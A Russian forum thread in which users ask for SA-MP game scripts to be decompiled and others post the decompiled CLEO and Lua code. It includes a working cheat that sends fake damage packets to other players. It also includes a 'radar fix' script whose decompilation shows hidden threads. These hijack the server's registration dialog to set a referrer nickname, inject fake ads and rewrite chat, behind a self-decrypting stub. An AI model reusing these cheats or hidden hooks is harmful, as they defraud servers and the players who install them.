Декомпиляция скриптов

FYP

Известный
Автор темы
Администратор
1,758
5,732
GVWUrNJ.png
eNo5cSj.png


Общая тема для просьб о помощи в декомпиляциии и декриптованиии скриптов, плагинов и приложений.
Запрещено просить о декомпиляции/декриптовании софта, выставленного на продажу на нашем сайте.

Рекомендации:
  1. Сначала воспользуйтесь поиском по теме и по форуму, возможно его в декомпилированном виде или с исходным кодом уже выкладывали у нас на сайте.
  2. Попытайтесь декомпилировать самостоятельно: CLEO - декриптор, декомпилятор; AHK - распаковщик .exe; LuaJIT - декомпилятор1, декомпилятор2.
  3. Просить о декомпиляции .asi, .sf, .dll, .exe почти бесполезно, часто такие просьбы остаются без ответа и вряд ли вам это что-то даст. Можете попробовать сами, IDA Pro или Ghidra к вашим услугам.
    • Это не касается .exe, которые являются скомпилированными AutoHotKey-скриптами (.ahk).
  4. Добавьте название скрипта к сообщению, если оно известно - это поможет другим пользователям найти его с помощью поиска.
  5. Сообщения по типу "спасибо, помог" по правилам форума считаются флудом и скорее всего будут удалены. Если вам помогли, вы можете нажать кнопку Мне нравится под ответом - это даст понять, что ответ верный.
 
Последнее редактирование:

DarkP1xel

Сила воли наше всё.
BH Team
3,635
4,964
Вот эту хуйню можно?
Это стилер.

CLEO:
{$CLEO}
{$INCLUDE SF}

const
EVENT_BUTTON_CLICKED                = 257
EVENT_COMBOBOX_SELECTION_CHANGED    = 513
EVENT_RADIOBUTTON_CHANGED           = 769
EVENT_CHECKBOX_CHANGED              = 1025
EVENT_SLIDER_VALUE_CHANGED          = 1281
EVENT_EDITBOX_STRING                = 1537
EVENT_EDITBOX_CHANGE                = 1538
EVENT_LISTBOX_ITEM_DBLCLK           = 1793
EVENT_LISTBOX_SELECTION             = 1794
end

0000:
repeat
wait 0
until samp.Available()
chatmsg "{FFF08B}[MicaPublicitate] {FFFFFF}by {5AD9F9}gumball3000 {FFFFFF}has loaded!" -1
chatmsg "{FFF08B}Use /adshow to show the list of ads." -1


0B34: samp register_client_command "adshow" to_label @KIG
6@ = 0

{

//OLOLOLOLOL    easy bro
//repeat
//wait 500
//until 6@ == 1

repeat
wait 0
if 6@ == 1
then
}
0B80: dialog 0@ = create "Mica publicitate by gumball3000"
0B84: dialog 0@ set_pos_XY 50 220 size 1000 360
0BE3: raknet setup_incoming_rpc_hook @chat_number


0B82: dialog 0@ add_button id 1 text "SMS" pos_XY 700 300 size 100 40
0B82: dialog 0@ add_button id 2 text "CALL" pos_XY 800 300 size 100 40
0B82: dialog 0@ add_button id 4 text "CLOSE" pos_XY 900 300 size 100 40
0B99: dialog 0@ add_listbox id 3 pos_XY 0 0 size  1000 300
Dialog.AddEditBox(0@, 5, "", 400, 300, 300, 40)
dialog.SetVisible(0@, 0)



while true
    wait 0
    if
    dialog.IsVisible(0@)
    then
    SAMP.ToggleCursor(1)
            alloc 19@ 256
            0A8C: write_memory 19@ size 1 value 0 virtual_protect 0
            Dialog.GetControlText(0@, 5, 19@)
            0C17: 20@ = strlen 19@
            FREE 19@
        if
        20@ > 0
        THEN
        0B79: samp set_chat_input_enabled 0
        END
    end
    if
    0B81: dialog 0@ pop_event_to 1@ control_id_to 2@
    then
        if 1@ == EVENT_BUTTON_CLICKED
        then
            if
            2@ == 1
            then
            alloc 19@ 256
            0A8C: write_memory 19@ size 1 value 0 virtual_protect 0
            Dialog.GetControlText(0@, 5, 19@)
            0C17: 20@ = strlen 19@
                if
                20@ > 0
                then
                dialog.SetControlText(0@,5, "")
                0B9B: dialog 0@ listbox 3 selected_element_to 11@ elements_count_to 12@
                alloc 3@ 256
                alloc 8@ 256
                    //0C11: memset destination 12@ value 0 size 256 
                    //0C11: memset destination 13@ value 0 size 256
                    0A8C: write_memory 3@ size 1 value 0 virtual_protect 0
                    0A8C: write_memory 8@ size 1 value 0 virtual_protect 0
                    0B9D: dialog 0@ listbox 3 element 11@ store_text_to 3@ data_to 5@
                     if
                     5@ == -1
                     then
                     11@ -= 1
                     0B9D: dialog 0@ listbox 3 element 11@ store_text_to 3@ data_to 5@
                     end
                               if
                    5@ < 10
                    then
                    format 8@ "000%d" 5@
                    else
                        if
                        5@ < 100
                        then
                        format 8@ "00%d" 5@
                        else
                            if
                            5@< 1000
                            then
                            format 8@ "0%d" 5@
                            else
                            format 8@ "%d" 5@
                            end
                        end
                    end
                    //chatmsg "%s" -1 8@
                //0AD4: $NOT_USED = scan_string 12@ format "%d" 14@
                say "/sms %s %s" 8@ 19@
                6@ = 0
                free 3@
                free 8@
                end
                free 19@
            end
            
            if 2@ == 2
            then
            0B9B: dialog 0@ listbox 3 selected_element_to 11@ elements_count_to 12@
            alloc 3@ 256
            alloc 8@ 256
                            //0C11: memset destination 12@ value 0 size 256 
                //0C11: memset destination 13@ value 0 size 256
                0A8C: write_memory 3@ size 1 value 0 virtual_protect 0
                0A8C: write_memory 8@ size 1 value 0 virtual_protect 0
            0B9D: dialog 0@ listbox 3 element 11@ store_text_to 3@ data_to 5@
                 if
                 5@ == -1
                 then
                 11@ -= 1
                 0B9D: dialog 0@ listbox 3 element 11@ store_text_to 3@ data_to 5@
                 end
                           if
                5@ < 10
                then
                format 8@ "000%d" 5@
                else
                    if
                    5@ < 100
                    then
                    format 8@ "00%d" 5@
                    else
                        if
                        5@< 1000
                        then
                        format 8@ "0%d" 5@
                        else
                        format 8@ "%d" 5@
                        end
                    end
                end
                //chatmsg "%s" -1 8@
            //0AD4: $NOT_USED = scan_string 12@ format "%d" 14@
            say "/call %s" 8@
            6@ = 0
            free 3@
            free 8@
            end
            
            if 2@ == 4
            then
            0B86: dialog 0@ set_visible false
            SAMP.ToggleCursor(0)
            dialog.SetControlText(0@,5, "")
            6@ = 0
            end
        end
          



end
end


        
                      


:KIG
// OLOLOLOLOL
0B12: 6@ = 6@ XOR 1   // aktivacia
if 6@ == 0
then
6@ = 1
end
IF
6@ == 1
THEN
dialog.SetVisible(0@, 6@)
END

samp.CmdRet()

:chat_number
5@ = 0
0BE5: raknet 31@ = get_hook_param PARAM_PACKETID
if 31@ == RPC_ScrClientMessage
then
    alloc 27@ 256
    0C11: memset destination 27@ value 0 size 256
    
    0BE5: raknet 30@ = get_hook_param PARAM_BITSTREAM
    0BE7: raknet 29@ = bit_stream_read 30@ type BS_TYPE_INT //color
    0BE7: raknet 28@ = bit_stream_read 30@ type BS_TYPE_INT //lenght
    0BE8: raknet bit_stream 30@ read_array 27@ size 28@
    0C0D: struct 27@ offset 28@ size 1 = 0
    
    if 0C18: $NOT_STRING = strstr string1 27@ string2 "Ad by"
    then   
 
            //alloc 5@ 256
            //0C11: memset destination 5@ value 0 size 256     
            //0AA5: call 0x8220AD num_params 3 pop 3 5@ "%*[^:]: %*[^|]| %*[^:]: %s" 27@
            
            //0AA5: call 0x8220AD num_params 3 pop 3 5@ "%*[^}]}%s{%*[^\n]" 27@
            if
            0AD4: $NOT_USED = scan_string 27@ format "%*[^}]}%d{%*[^\n]" 5@
            then
                //chatmsg "%d" -1 5@
                //5@ += 8
                //format 8@ "%s" 5@
                alloc 9@ 256
                //chatmsg "%d" -1 5@
                //chatmsg "%d" -1 29@
                format 9@ "{00FF00}%s" 27@
                0B9A: dialog 0@ listbox 3 insert_element 9@ with_data 5@ after 0       
                free 9@
            end 
    end
        if 0C18: $NOT_STRING = strstr string1 27@ string2 "..."
    then   
        if
        29@ == 16711850
        then
                alloc 9@ 256
                format 9@ "{00FF00}%s" 27@
                0B9A: dialog 0@ listbox 3 insert_element 9@ with_data -1 after 1       
                free 9@
        end 
    end
    
end
    0BE0: raknet hook_ret true
 
  • Нравится
Реакции: NIET

sep

Известный
673
76
плиз !!!!
 

Вложения

  • RadarAutoOFF in Interiors by Dapo Show.cs
    4.6 KB · Просмотры: 6

Priwo

Участник
78
9
откройте пожалуйста, заранее спасибо.
 

Вложения

  • rdmg.luac
    1.6 KB · Просмотры: 8

paulohardy

вы еще постите говно? тогда я иду к вам
Всефорумный модератор
1,892
1,256
откройте пожалуйста, заранее спасибо.
Lua:
require("lib.sampfuncs")
require("lib.moonloader")

slot0 = require("lib.samp.events")
slot2 = renderCreateFont("Century Gothic", 12, require("moonloader").font_flag.BOLD + require("moonloader").font_flag.SHADOW)

function getClosestPlayerId()
    slot1 = -1
    slot2, slot3, slot4 = getCharCoordinates(PLAYER_PED)

    for slot8 = 0, 999, 1 do
        slot9, slot10 = sampGetCharHandleBySampPlayerId(slot8)

        if slot9 and getCharHealth(slot10) > 0 then
            slot11, slot12, slot13 = getCharCoordinates(slot10)

            if math.sqrt((slot11 - slot2)^2 + (slot12 - slot3)^2 + (slot13 - slot4)^2) < 10 then
                slot0 = slot14
                slot1 = slot8
            end
        end
    end

    return slot1
end

slot3 = false
slot4 = -1

function main()
    while not isSampAvailable() do
        wait(0)
    end

    sampRegisterChatCommand("rdm", function ()
        uv0 = not uv0

        sampAddChatMessage("LUA: Дамагер " .. (uv0 and "{00CC00}активирован" or "{CC0000}деактивирован") .. "{007FFF}.", 32767)
    end)

    function uv1.onSendPlayerSync(slot0)
        if not uv0 then
            return
        end

        slot0.keysData = 132
        slot0.animationId = 1137
        slot1, slot2, slot3 = getCharCoordinates(PLAYER_PED)
        slot0.position.x = slot1 + math.random(-10, 10) / 10
        slot0.position.y = slot2 + math.random(-10, 10) / 10
    end

    lua_thread.create(function ()
        while true do
            if uv0 then
                uv1 = getClosestPlayerId()

                if sampIsPlayerConnected(uv1) then
                    sampSendGiveDamage(uv1, 70, 0, 3)
                end
            end

            wait(1000)
        end
    end)
    lua_thread.create(function ()
        while true do
            if uv0 then
                if sampIsPlayerConnected(uv1) then
                    renderFontDrawText(uv2, "Пакет с уроном отправлен: " .. sampGetPlayerNickname(uv1) .. " [ID " .. uv1 .. "]", 8, 300, 4278222847.0)
                else
                    renderFontDrawText(uv2, "Поблизости нет игроков", 8, 300, 4278222847.0)
                end
            end

            wait(1)
        end
    end)
    wait(-1)
end
 
  • Нравится
Реакции: Priwo

SpnKO

Известный
56
14

Код:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0000: NOP

:Noname_2
0001: wait 0 ms
0AFA:  is_samp_available
004D: jump_if_false @Noname_2
0B34: samp register_client_command "takeid" to_label @Noname_404
0AF8: samp add_message_to_chat "takeid by {FFFFFF}Patrick Headdyson{17C400} | Ñïåöèàëüíî äëÿ {FFFFFF}Julian_Karelli" color 1557504
0AC8: 14@ = allocate_memory_size 256

:Noname_131
0001: wait 0 ms
00D6: if
0039:   0@ == 1
004D: jump_if_false @Noname_339
00D6: if
0AB1: call_scm_func @Noname_743 2 1@ 2@ 3@ 4@
004D: jump_if_false @Noname_271
00D6: if
8019:   not  4@ > 20
004D: jump_if_false @Noname_264
0AD0: show_formatted_text_lowpriority "_" time 50
0B28: samp disconnect_with_reason 0
0001: wait 10 ms
0006: 5@ = 1

:Noname_227
0B27: samp set_gamestate 1
0001: wait 20 ms
000A: 5@ += 1
001D:   5@ > 4@ // (int)
004D: jump_if_false @Noname_227
0006: 0@ = 0

:Noname_264
0002: jump @Noname_339

:Noname_271
0AD0: show_formatted_text_lowpriority "~g~Searching for ~y~id %d-%d~n~~g~For ~y~Julian Karelli" time 50 1@ 2@

:Noname_339
00D6: if
0039:   13@ == 1
004D: jump_if_false @Noname_397
00D6: if
0B4C:  samp is_dialog_active 2
004D: jump_if_false @Noname_397
0BC9: samp send_dialog_response dialog 2 button 1 listitem 0 input 14@
0B3B: samp show_dialog id -1 caption 0 text 0 button_1 0 button_2 0 style 0

:Noname_397
0002: jump @Noname_131

:Noname_404
00D6: if
0039:   0@ == 1
004D: jump_if_false @Noname_450
0006: 0@ = 0
0006: 1@ = 0
0006: 2@ = 0
0002: jump @Noname_741

:Noname_450
0B35: samp 10@ = get_last_command_params
00D6: if
0AD4: 11@ = scan_string 10@ format "%d %d" 1@ 2@
004D: jump_if_false @Noname_543
00D6: if and
0019:   2@ > -1
8029:   not  2@ >= 1000
0019:   1@ > -1
8029:   not  1@ >= 1000
004D: jump_if_false @Noname_536
0006: 0@ = 1

:Noname_536
0002: jump @Noname_741

:Noname_543
0C17: 12@ = strlen 10@
00D6: if
0039:   13@ == 0
004D: jump_if_false @Noname_702
00D6: if
0019:   12@ > 4
004D: jump_if_false @Noname_639
0AD3: 14@ = format "%s" 10@
0AD0: show_formatted_text_lowpriority "~g~Pass: ~w~%s" time 1500 14@
0006: 13@ = 1
0002: jump @Noname_695

:Noname_639
0AF8: samp add_message_to_chat "Èñïîëüçóé: /takeid [Ïàðîëü] èëè [min id] [max id]" color -1

:Noname_695
0002: jump @Noname_741

:Noname_702
0AD3: 14@ = format ""
0ACD: show_text_highpriority "~r~Auto login OFF" time 1500
0006: 13@ = 0

:Noname_741
0B43: samp cmd_ret

:Noname_743
0006: 2@ = 0
0B2B: samp 3@ = get_player_id_by_actor_handle $PLAYER_ACTOR
0006: 10@ = 0

:Noname_765
00D6: if
0B23:  samp is_player_connected 10@
004D: jump_if_false @Noname_788
0002: jump @Noname_861

:Noname_788
000A: 2@ += 1
00D6: if and
002D:   1@ >= 10@ // (int)
002D:   10@ >= 0@ // (int)
004D: jump_if_false @Noname_861
00D6: if
003B:   3@ == 10@ // (int)
004D: jump_if_false @Noname_848
0002: jump @Noname_861

:Noname_848
0485:   return_true
0AB2: 2 10@ 2@ ret

:Noname_861
000A: 10@ += 1
0019:   10@ > 999
004D: jump_if_false @Noname_765
059A:   return_false
0AB2: 2 -1 -1 ret

Да, есть.
Код:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0000: NOP
0662: printstring "FixRadarInteriors"
0662: printstring "by Dapo Show"
8AB1:   not call_scm_func @Noname_5493 1 -54

:Noname_54
0001: wait 0 ms
0AFA:  is_samp_available
004D: jump_if_false @Noname_54
0C6A: TIMERB = create_custom_thread_at_label -1048
0C6A: TIMERB = create_custom_thread_at_label -3246
0C6A: TIMERB = create_custom_thread_at_label -4531
00D6: if
0AAB:   file_exists "CLEO\RadarAutoOFF in Interiors by Dapo Show.ini"
004D: jump_if_false @Noname_241
0AF0: 2@ = get_int_from_ini_file "CLEO\RadarAutoOFF in Interiors by Dapo Show.ini" section "RadarOFF" key "Active"
0002: jump @Noname_471

:Noname_241
0AA7: call_function 8532696 num_params 2 pop 2 "wt+" "CLEO\RadarAutoOFF in Interiors by Dapo Show.ini" 30@
0AF1: write_int 1 to_ini_file "CLEO\RadarAutoOFF in Interiors by Dapo Show.ini" section "RadarOFF" key "Active"
0AF0: 2@ = get_int_from_ini_file "CLEO\RadarAutoOFF in Interiors by Dapo Show.ini" section "RadarOFF" key "Active"
0AA7: call_function 8532363 num_params 1 pop 1 30@ 30@

:Noname_471
0B34: samp register_client_command "rint" to_label @Noname_718
0AF8: samp add_message_to_chat "{73b461}[RAOII] {ffffff}RadarAutoOFF in interiors loaded! Cmd: {dc4747}/rint {ffffff}by Dapo Show" color -1

:Noname_588
0001: wait 0 ms
00D6: if
0039:   2@ == 1
004D: jump_if_false @Noname_698
0A8D: 1@ = read_memory 12216169 size 1 virtual_protect 0
077E: get_active_interior_to 0@
00D6: if and
0B61:  samp is_local_player_spawned
8BD5:   not samp is_scoreboard_opened
0039:   0@ == 0
0039:   1@ == 1
004D: jump_if_false @Noname_678
0A8C: write_memory 12216172 size 4 value 0 virtual_protect 0
0002: jump @Noname_691

:Noname_678
0A8C: write_memory 12216172 size 4 value 2 virtual_protect 0

:Noname_691
0002: jump @Noname_711

:Noname_698
0A8C: write_memory 12216172 size 4 value 0 virtual_protect 0

:Noname_711
0002: jump @Noname_588

:Noname_718
00D6: if
0039:   2@ == 1
004D: jump_if_false @Noname_895
0006: 2@ = 0
0AF1: write_int 2@ to_ini_file "CLEO\RadarAutoOFF in Interiors by Dapo Show.ini" section "RadarOFF" key "Active"
0AF8: samp add_message_to_chat "{73b461}[RAOII] {ffffff}RadarAutoOFF in interiors {dc4747}Disabled" color -1
0002: jump @Noname_1046

:Noname_895
0006: 2@ = 1
0AF1: write_int 2@ to_ini_file "CLEO\RadarAutoOFF in Interiors by Dapo Show.ini" section "RadarOFF" key "Active"
0AF8: samp add_message_to_chat "{73b461}[RAOII] {ffffff}RadarAutoOFF in interiors {73b461}Enabled" color -1

:Noname_1046
0B43: samp cmd_ret

:Noname_1048
0001: wait 0 ms
00D6: if
0AFA:  is_samp_available
004D: jump_if_false @Noname_1048
0AC8: 29@ = allocate_memory_size 128
0001: wait 0 ms
0A8D: 25@ = read_memory 9980123 size 1 virtual_protect 1
00D6: if
0039:   25@ == 0
004D: jump_if_false @Noname_3239
0A8C: write_memory 9980123 size 1 value 1 virtual_protect 1

:Noname_1122
0001: wait 0 ms
0B4F: samp 23@ = get_gamestate
00D6: if
0039:   23@ == 3
004D: jump_if_false @Noname_1122
0001: wait 0 ms
0B3A: samp 29@ = get_current_server_name
00D6: if
0C18: 18@ = strstr string1 29@ string2 "Saint"
004D: jump_if_false @Noname_3239
0209: 10@ = random_int_in_ranges 300000 480000
0AC9: free_allocated_memory 29@

:Noname_1204
0001: wait 0 ms
0209: 11@ = random_int_in_ranges 0 6
00D6: if
0039:   11@ == 0
004D: jump_if_false @Noname_1548
0001: wait 10@ ms
0AF8: samp add_message_to_chat " " color -1
0AF8: samp add_message_to_chat "{73b461}[Информация] {FFFFFF}Работает {73b461}Бар №5 {FFFFFF}'Ten Green Bottles'" color -1
0AF8: samp add_message_to_chat "{73b461}[Информация] {FFFFFF}Здесь сейчас играют в {73b461}Орла и Решку {FFFFFF}на {73b461}1.000.000$" color -1
0AF8: samp add_message_to_chat "{73b461}[Информация] {FFFFFF}Присоединяйся к нам {FFFF00}/findibiz 5" color -1
0AF8: samp add_message_to_chat " " color -1
0209: 10@ = random_int_in_ranges 1200000 2100000
0002: jump @Noname_3232

:Noname_1548
00D6: if
0039:   11@ == 1
004D: jump_if_false @Noname_1852
0001: wait 10@ ms
0AF8: samp add_message_to_chat " " color -1
0AF8: samp add_message_to_chat "{73b461}[Информация] {FFFFFF}Работает {73b461}Бар №5 {FFFFFF}'Ten Green Bottles'" color -1
0AF8: samp add_message_to_chat "{73b461}[Информация] {FFFFFF}Здесь сейчас поднимают бешеные бабки!" color -1
0AF8: samp add_message_to_chat "{73b461}[Информация] {FFFFFF}Зарабатывай с нами миллионы {FFFF00}/findibiz 5" color -1
0AF8: samp add_message_to_chat " " color -1
0209: 10@ = random_int_in_ranges 1200000 2100000
0002: jump @Noname_3232

:Noname_1852
00D6: if
0039:   11@ == 2
004D: jump_if_false @Noname_2193
0001: wait 10@ ms
0AF8: samp add_message_to_chat " " color -1
0AF8: samp add_message_to_chat "{73b461}[Информация] {FFFFFF}Работает {73b461}Бар №5 {FFFFFF}'Ten Green Bottles'" color -1
0AF8: samp add_message_to_chat "{73b461}[Информация] {FFFFFF}Здесь ты можешь встретить ютуберов {73b461}Jezus_Black {FFFFFF}и {73b461}Dapo_Dope" color -1
0AF8: samp add_message_to_chat "{73b461}[Информация] {FFFFFF}Приходи скорее сюда {FFFF00}/findibiz 5" color -1
0AF8: samp add_message_to_chat " " color -1
0209: 10@ = random_int_in_ranges 1200000 2100000
0002: jump @Noname_3232

:Noname_2193
00D6: if
0039:   11@ == 3
004D: jump_if_false @Noname_2541
0001: wait 10@ ms
0AF8: samp add_message_to_chat " " color -1
0AF8: samp add_message_to_chat "{73b461}[Информация] {FFFFFF}Работает {73b461}Бар №5 {FFFFFF}'Ten Green Bottles'" color -1
0AF8: samp add_message_to_chat "{73b461}[Информация] {FFFFFF}Ютуберы {73b461}Jezus {FFFFFF}и {73b461}Dapo {FFFFFF}здесь разыгрывают крутые аксессуары!" color -1
0AF8: samp add_message_to_chat "{73b461}[Информация] {FFFFFF}Приходи скорее сюда {FFFF00}/findibiz 5" color -1
0AF8: samp add_message_to_chat " " color -1
0209: 10@ = random_int_in_ranges 1200000 2100000
0002: jump @Noname_3232

:Noname_2541
00D6: if
0039:   11@ == 4
004D: jump_if_false @Noname_2888
0001: wait 10@ ms
0AF8: samp add_message_to_chat " " color -1
0AF8: samp add_message_to_chat "{73b461}[Информация] {FFFFFF}Работает {73b461}Бар №5 {FFFFFF}'Ten Green Bottles'" color -1
0AF8: samp add_message_to_chat "{73b461}[Информация] {FFFFFF}Только здесь люди поднимаются от {dc4747}Бомжа {FFFFFF}до {73b461}Мажора{FFFFFF}!" color -1
0AF8: samp add_message_to_chat "{73b461}[Информация] {FFFFFF}Зарабатывай миллионы здесь {FFFF00}/findibiz 5" color -1
0AF8: samp add_message_to_chat " " color -1
0209: 10@ = random_int_in_ranges 1200000 2100000
0002: jump @Noname_3232

:Noname_2888
00D6: if
0039:   11@ == 5
004D: jump_if_false @Noname_3232
0001: wait 10@ ms
0AF8: samp add_message_to_chat " " color -1
0AF8: samp add_message_to_chat "{73b461}[Информация] {FFFFFF}Работает {73b461}Бар №5 {FFFFFF}'Ten Green Bottles'" color -1
0AF8: samp add_message_to_chat "{73b461}[Информация] {FFFFFF}Лучшее казино только в нашем баре. Ставки от {dc4747}1$ {FFFFFF}до {73b461}1.000.000$" color -1
0AF8: samp add_message_to_chat "{73b461}[Информация] {FFFFFF}Стать богатым очень просто {FFFF00}/findibiz 5" color -1
0AF8: samp add_message_to_chat " " color -1
0209: 10@ = random_int_in_ranges 1200000 2100000

:Noname_3232
0002: jump @Noname_1204

:Noname_3239
0AC9: free_allocated_memory 29@
004E: end_thread
0001: wait 0 ms

:Noname_3250
0001: wait 0 ms
0AFA:  is_samp_available
004D: jump_if_false @Noname_3250
0A8D: 25@ = read_memory 9980124 size 1 virtual_protect 1
00D6: if
0039:   25@ == 1
004D: jump_if_false @Noname_3304
004E: end_thread
0002: jump @Noname_3317

:Noname_3304
0A8C: write_memory 9980124 size 1 value 1 virtual_protect 1

:Noname_3317
0AC8: 29@ = allocate_memory_size 256

:Noname_3325
0001: wait 0 ms
0B4F: samp 23@ = get_gamestate
00D6: if
0039:   23@ == 3
004D: jump_if_false @Noname_3325
0001: wait 200 ms
0B3A: samp 29@ = get_current_server_name
00D6: if
0C18: 18@ = strstr string1 29@ string2 "Arizona"
004D: jump_if_false @Noname_4529
0AC9: free_allocated_memory 29@
0AC9: free_allocated_memory 23@
0AC9: free_allocated_memory 18@
0BE3: raknet setup_incoming_rpc_hook -4180

:Noname_3412
0001: wait 0 ms
00D6: if
0039:   7@ == 1
004D: jump_if_false @Noname_3412
0001: wait 1000 ms
03CF: load_wav 31204 as 2
03CF: load_wav 21001 as 1
0001: wait 15000 ms
0AF8: samp add_message_to_chat "{73b461}[Подсказка] {FFFFFF}Спасибо за регистрацию на{dc4747} Arizona Role Play!" color -1
03D1: play_wav 1
0001: wait 3000 ms
0AF8: samp add_message_to_chat "{73b461}[Подсказка] {FFFFFF}Ник {dc4747}Dapo_Dope {FFFFFF}был указан {73b461}автоматически!" color -1
03D1: play_wav 1
0001: wait 500 ms
0AF8: samp add_message_to_chat "{73b461}[Подсказка] {FFFFFF}Прокачивайся до {dc4747}5-го {FFFFFF}уровня и вводи промокод {dc4747}#dapo" color -1
03D1: play_wav 1
0001: wait 500 ms
0AF8: samp add_message_to_chat "{73b461}[Подсказка] {FFFFFF}Он выдаст тебе целых {73b461}600.000 {FFFFFF}вирт!" color -1
03D1: play_wav 1
0001: wait 500 ms
0AF8: samp add_message_to_chat "{73b461}[Подсказка] {FFFFFF}Затем кидай статистику мне в ВК:{dc4747} vk.com/dapodope " color -1
03D1: play_wav 1
0001: wait 500 ms
0AF8: samp add_message_to_chat "{73b461}[Подсказка] {FFFFFF}После чего тебя закинут в беседу, где сливаются {dc4747}ПРИВАТНЫЕ МОДЫ!" color -1
03D1: play_wav 1
0001: wait 500 ms
0AF8: samp add_message_to_chat "{73b461}[Подсказка] {FFFFFF}Приятной игры на {dc4747}Arizona Role Play!" color -1
03D1: play_wav 2
004E: end_thread
0002: jump @Noname_4529
0BE5: raknet 0@ = get_hook_param 1
00D6: if
0039:   0@ == 61
004D: jump_if_false @Noname_4525
0BE5: raknet 0@ = get_hook_param 0
0BE7: raknet 3@ = bit_stream_read 0@ type 2
0BE7: raknet 4@ = bit_stream_read 0@ type 0
0BE7: raknet 5@ = bit_stream_read 0@ type 0
00D6: if and
0039:   3@ == 1
0039:   4@ == 2
0039:   5@ == 37
004D: jump_if_false @Noname_4295
0BC9: samp send_dialog_response dialog 1 button 1 listitem 1 input 0
0BE0: raknet hook_ret 0
0002: jump @Noname_4525

:Noname_4295
00D6: if and
0039:   3@ == 1
0039:   4@ == 1
0039:   5@ == 48
004D: jump_if_false @Noname_4482
0BC9: samp send_dialog_response dialog 1 button 1 listitem 0 input "Dapo_Dope"
0AF8: samp add_message_to_chat "{73b461}[Подсказка] {FFFFFF}Ник {dc4747}Dapo_Dope {FFFFFF}был указан {73b461}автоматически!" color -1
018C: play_sound 1052 at 0.0 0.0 0.0
0006: 7@ = 1
0BE0: raknet hook_ret 0
0002: jump @Noname_4525

:Noname_4482
00D6: if and
0039:   3@ == 2
0039:   4@ == 3
0039:   5@ == 19
004D: jump_if_false @Noname_4525
0006: 7@ = 3
0BE0: raknet hook_ret 1

:Noname_4525
0BE0: raknet hook_ret 1

:Noname_4529
004E: end_thread
0001: wait 0 ms

:Noname_4535
0001: wait 0 ms
0AFA:  is_samp_available
004D: jump_if_false @Noname_4535
0A8D: 25@ = read_memory 9980125 size 1 virtual_protect 1
00D6: if
0039:   25@ == 1
004D: jump_if_false @Noname_4589
004E: end_thread
0002: jump @Noname_4602

:Noname_4589
0A8C: write_memory 9980125 size 1 value 1 virtual_protect 1

:Noname_4602
0001: wait 0 ms
0B4F: samp 0@ = get_gamestate
0039:   0@ == 3
004D: jump_if_false @Noname_4602
0AC8: 0@ = allocate_memory_size 128
0001: wait 300 ms
0B3A: samp 0@ = get_current_server_name
00D6: if
8C18:   not TIMERB = strstr string1 0@ string2 "Saint"
004D: jump_if_false @Noname_4676
0AC9: free_allocated_memory 0@
004E: end_thread

:Noname_4676
0AC8: 4@ = allocate_memory_size 1024
0AC8: 5@ = allocate_memory_size 1024
0BE3: raknet setup_incoming_rpc_hook -4703
0BDE: pause_thread 0
0BE5: raknet 1@ = get_hook_param 1
00D6: if
0039:   1@ == 93
004D: jump_if_false @Noname_5438
0BE5: raknet 1@ = get_hook_param 0
0BE9: raknet bit_stream 1@ reset_read_pointer
0BE7: raknet 2@ = bit_stream_read 1@ type 3
0BE7: raknet 3@ = bit_stream_read 1@ type 3
0BE8: raknet bit_stream 1@ read_array 4@ size 3@
0C1E: array 4@ element 3@ el_size 1 = 0
00D6: if or
0C29: 6@ = stristr string1 4@ string2 "{F345FC}[PREMIUM] {FFFFFF}Dapo_Dope"
0C29: 6@ = stristr string1 4@ string2 "{F345FC}[PREMIUM] {FFFFFF}Jezus_Black"
004D: jump_if_false @Noname_5040
00D6: if
0C18: 8@ = strstr string1 4@ string2 " {FFFFFF}Dapo_Dope"
004D: jump_if_false @Noname_4954
0AD3: 5@ = format "[YOUTUBE]%s" 8@
0002: jump @Noname_5018

:Noname_4954
00D6: if
0C18: 8@ = strstr string1 4@ string2 " {FFFFFF}Jezus_Black"
004D: jump_if_false @Noname_5018
0AD3: 5@ = format "[YOUTUBE] %s" 8@

:Noname_5018
0AF8: samp add_message_to_chat 5@ color 16746810
0BE0: raknet hook_ret 0
0002: jump @Noname_5438

:Noname_5040
00D6: if and
0C29: 6@ = stristr string1 4@ string2 "Dapo_Dope"
0C29: 6@ = stristr string1 4@ string2 "Отправил:"
004D: jump_if_false @Noname_5162
0C18: 8@ = strstr string1 4@ string2 ":"
0AD3: 5@ = format "[ELITE VIP]{DFA8FF}%s " 8@
0AF8: samp add_message_to_chat 5@ color 16755023
0006: 10@ = 1
0BE0: raknet hook_ret 0
0002: jump @Noname_5438

:Noname_5162
00D6: if and
0C29: 6@ = stristr string1 4@ string2 "Jezus_Black"
0C29: 6@ = stristr string1 4@ string2 "Отправил:"
004D: jump_if_false @Noname_5286
0C18: 8@ = strstr string1 4@ string2 ":"
0AD3: 5@ = format "[ELITE VIP]{DFA8FF}%s " 8@
0AF8: samp add_message_to_chat 5@ color 16755023
0006: 10@ = 1
0BE0: raknet hook_ret 0
0002: jump @Noname_5438

:Noname_5286
00D6: if and
0039:   10@ == 1
0C29: 6@ = stristr string1 4@ string2 "Отредактировал сотрудник СМИ"
004D: jump_if_false @Noname_5438
00D6: if
0C18: 8@ = strstr string1 4@ string2 "Отредактировал сотрудник СМИ"
004D: jump_if_false @Noname_5438
0AD3: 5@ = format "[!] {DFA8FF}%s" 8@
0AF8: samp add_message_to_chat 5@ color 16755023
0006: 10@ = 0
0BE0: raknet hook_ret 0

:Noname_5438
0BE0: raknet hook_ret 1
0AB1: call_scm_func @Noname_5493 1 -54
hex
48 45
end
0058: &0 += // (int)
0027:   // (float)
0F00:
0000: NOP
hex
00 42
end
0015:
000F:
hex
00 56 41 52 00 5F 5F 53 42 46 54 52 00 0E 00 03
end
0001: wait -5387 ms
0A9F: 2@ = current_thread_pointer
000A: 2@ += 16
0A8D: 3@ = read_memory 2@ size 4 virtual_protect 1
0062: 3@ -= 0@ // (int)
0006: 4@ = 0

:Noname_5542
0A8E: 5@ = 3@ + 4@ // int
0A8D: 6@ = read_memory 5@ size 1 virtual_protect 1
0006: 7@ = 35
0A8F: 6@ = 255 - 6@ // int
0A8C: write_memory 5@ size 1 value 6@ virtual_protect 1
000A: 4@ += 1
001D:   4@ > 1@ // (int)
004D: jump_if_false @Noname_5542
0AB2: 0 ret
hex
CD ED 1C 62 5D F4 EB B6 EB DB C2 C5 1E 8C 0D 0B
